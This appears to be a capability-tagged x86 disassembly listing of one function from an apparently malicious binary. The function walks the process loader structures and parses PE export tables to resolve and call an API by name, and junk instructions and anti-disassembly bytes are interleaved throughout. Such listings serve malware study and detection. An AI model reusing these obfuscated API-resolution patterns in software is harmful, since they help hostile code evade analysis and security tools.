Function at 0x41db48
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add ecx, 0xf982
and ecx, 0x26
sub ecx, 0x8419
pop ecx
push edx
xor edx, 0xe82f
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x41d853
mov dword [ebp - 0x710], 0
jmp 0x41da9e
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
push ecx
add esp, 4
xor eax, 0xf3fd
call 0x41d879
add byte [ecx*2 + 0x4442413b], dh
dec eax
dec eax
dec esp
add esp, 4
and eax, 0x15c22
and eax, 0xf19
pop eax
push esi
xor esi, 0x165ac
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push edx
add esp, 4
and ecx, 0x9bf4
pop ecx
push eax
xor eax, 0x1606a
xor eax, 0x6470
jmp 0x41d8db
pop eax
push eax
push esi
add esp, 4
jmp 0x41d8e6
add eax, 0xaf95
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
and ecx, 0x16579
pop ecx
push ebx
push edx
add esp, 4
and ebx, 0x15602
call 0x41d966
add byte [ebp + 0x45], al
inc edi
aaa
cmp dword [ecx + 0x3e], ecx
inc ebx
dec esp
add esp, 4
or ebx, 0x3291
sub ebx, 0x42ce
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41d993
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x41d9ed
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41d8bb
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41d8bb
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41d9d7
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x41d9e1
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x41da36
push ecx
push edx
add esp, 4
jmp 0x41da01
xor ecx, 0x133d3
and ecx, 0xa4f9
sub ecx, 0xd2c5
pop ecx
push eax
and eax, 0xe248
xor eax, 0x15f66
and eax, 0x10ba9
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x41da9e
push edx
xor edx, 0x8a03
add edx, 0x967f
pop edx
push ebx
push eax
add esp, 4
jmp 0x41da50
pop ebx
push ecx
call 0x41da5e
add byte [edi + 0x41], al
dec edx
dec esi
dec edi
dec ecx
add esp, 4
sub ecx, 0x8aff
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x41da94
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x41d85f
mov dword [ebp - 0x710], 0
push ebx
push ebx
add esp, 4
xor ebx, 0x355e
pop ebx
push edi
and edi, 0xf061
jmp 0x41dab7
pop edi
push esi
push edx
add esp, 4
call 0x41dacc
add byte [edx + 0x50], cl
cmp byte [0x5042353f], dh
inc edx
add esp, 4
pop esi
cmp dword [ebp - 0x710], 0
jne 0x41db1a
push edx
push ebx
add esp, 4
and edx, 0x13fdd
pop edx
push ecx
push edx
add esp, 4
and ecx, 0xee68
add ecx, 0x5bda
pop ecx
push ecx
and ecx, 0x166cf
add ecx, 0x1458c
sub ecx, 0x8823
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x41e642
push edi
or edi, 0x158d5
add bl, ch
invalid
pop edi
push esi
xor esi, 0x247c
xor esi, 0x94bf
sub esi, 0x16186
call 0x41db48
add byte [eax + 0x4a], al
inc eax
cmp eax, 0x3a423e4d
add esp, 4
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
inc dword [eax]
add byte [eax], al
add byte [ebx - 0x2ff7b], cl
dec dword [ecx - 0x15637b]
inc dword [ebx - 0x156343]
inc dword [eax]
jne 0x41db8b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x41de7c
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x41dbb3
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x41de7c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x41dbe5
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x41de7c
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x41dc0a
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x41de7c
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x41dc64
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x41de70
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
in al, 0xf8
invalid
dec dword [ebx - 0x7177b]
dec dword [ebx - 0x18e373]
dec dword [edi]
mov bh, 0x14
inc ecx
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x41dcd4
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41dd86
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x41dd86
push edi
add edi, 0x156cc
and edi, 0x15d23
and edi, 0x9791
pop edi
push edx
push edx
add esp, 4
sub edx, 0xbb03
sub edx, 0xeaa8
add edx, 0x67b5
xor edx, 0x139a9
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x41dd78
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x41dd7f
jmp 0x41dcc5
jmp 0x41dd86
push ebx
add ebx, 0x12fb9
add ebx, 0x12a2
xor ebx, 0x97ee
xor ebx, 0xd404
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0xb549
or ebx, 0x41ed
sub ebx, 0x1334e
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x41dde5
mov dword [ebp - 0xc5c], 0
jmp 0x41de54
push ecx
or ecx, 0x12480
sub ecx, 0x5ea1
and ecx, 0x28e8
add ecx, 0x15fc4
pop ecx
push edi
push ecx
add esp, 4
xor edi, 0xd6c8
xor edi, 0xcbe
jmp 0x41de16
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x41de4a
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x41de54
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x41de6b
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x41de7c
jmp 0x41dc55
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x41df57
push edi
push edi
add esp, 4
or edi, 0x1788b
mov edi, dword [eax + 1]
add byte [edi + 0x50], bl
and eax, 0xe146
sub eax, 0x118c3
pop eax
push edi
and edi, 0xdf
call 0x41deb7
add byte [edi], bh
cmp bh, byte [esi]
dec esi
inc edx
xor eax, 0x4c48339
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
and edx, 0x3e8b
xor edx, 0x173b2
pop edx
push edx
or edx, 0x7356
or edx, 0x12456
pop edx
push esi
or esi, 0x1762
xor esi, 0xe5f2
pop esi
push ebx
and ebx, 0x13436
pop ebx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x41df57
push ecx
push eax
add esp, 4
add ecx, 0x16f17
and ecx, 0x2675
jmp 0x41df2d
xor ecx, 0xa521
pop ecx
push esi
push eax
add esp, 4
and esi, 0x154e0
pop esi
push edx
xor edx, 0xec9
pop edx
mov dword [ebp - 0xa58], 0
add byte [eax], al
jmp 0x41e642
push ebx
push ebx
add esp, 4
xor ebx, 0x15642
or ebx, 0x15e18
pop ebx
push eax
sub eax, 0xce29
sub eax, 0x17a73
call 0x41df85
add byte [edi + edi + 0x4e], al
cmp dword [ebx], edi
dec edx
cmp eax, 0xc4835039
add al, 0x58
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
add ecx, 0x17a6e
xor ecx, 0x72ab
sub ecx, 0x4064
pop ecx
push eax
push edx
add esp, 4
add eax, 0xcb95
and eax, 0xd032
xor eax, 0x6374
xor eax, 0x194b
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x41dffb
mov dword [ebp - 0x2a8], 0
jmp 0x41e2a2
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edi
and edi, 0x55d6
or edi, 0x12af2
pop edi
push ebx
push edx
add esp, 4
call 0x41e02f
add byte [ecx + 0x48], al
dec esi
dec edx
dec esi
dec eax
cmp eax, dword [eax - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x41dfdc
mov bh, 0
add byte [ecx + 0x13b2bc3], al
add byte [ebx - 0x7d], bl
mov ebp, 0xfffff398
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x41e2a2
push edi
push edi
add esp, 4
jmp 0x41e2af
sub edi, 0x3cce
sub edi, 0xc927
pop edi
push esi
call 0x41e2ca
add byte [esi], bh
push eax
cmp dword [ecx + 0x4f], eax
cmp al, 0x3d
add esp, 4
add esi, 0x180a3
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
push edx
add esp, 4
sub esi, 0xaa10
and esi, 0xac99
and esi, 0x7a5
pop esi
push edx
add edx, 0x8f20
sub edx, 0x1375f
and edx, 0xd1f1
xor edx, 0x8786
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x41e345
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41e636
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
inc dword [ebx]
inc edx
cmp al, 0x89
test dword [edx + ebp*8 - 1], edi
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x41e636
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x41e39f
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x41e636
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x41e3c4
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x41e636
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x41e41e
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x41e62a
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x41e48e
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41e540
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x41e540
push esi
jmp 0x41e4c5
jmp 0x41e4cc
pop esi
push esi
sub esi, 0x6fa2
and esi, 0x11f0d
pop esi
push esi
push ecx
add esp, 4
or esi, 0x82c0
xor esi, 0x6203
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x41e532
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x41e539
jmp 0x41e47f
jmp 0x41e540
push eax
jmp 0x41e549
pop eax
push esi
push edi
add esp, 4
sub esi, 0xc0cf
pop esi
push edx
push ebx
add esp, 4
and edx, 0xa773
add edx, 0xadb9
pop edx
push esi
jmp 0x41e571
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x41e59f
mov dword [ebp - 0xc6c], 0
jmp 0x41e60e
push eax
push eax
add esp, 4
or eax, 0x25f1
and eax, 0x1865e
pop eax
push esi
push ecx
add esp, 4
xor esi, 0xb6f9
sub esi, 0x103a2
add dword [eax], eax
and esi, 0x5730
pop esi
push eax
or eax, 0x154f5
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x41e604
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x41e60e
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x41e625
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x41e636
jmp 0x41e40f
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ecx
push edx
add esp, 4
and ecx, 0x16ea3
jmp 0x41e656
call 0x41e662
add byte [esi], dh
cmp bh, byte [0x8344404d]
les eax, [ecx + ebx*2]
push edi
sub edi, 0x112e0
sub edi, 0xbc98
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx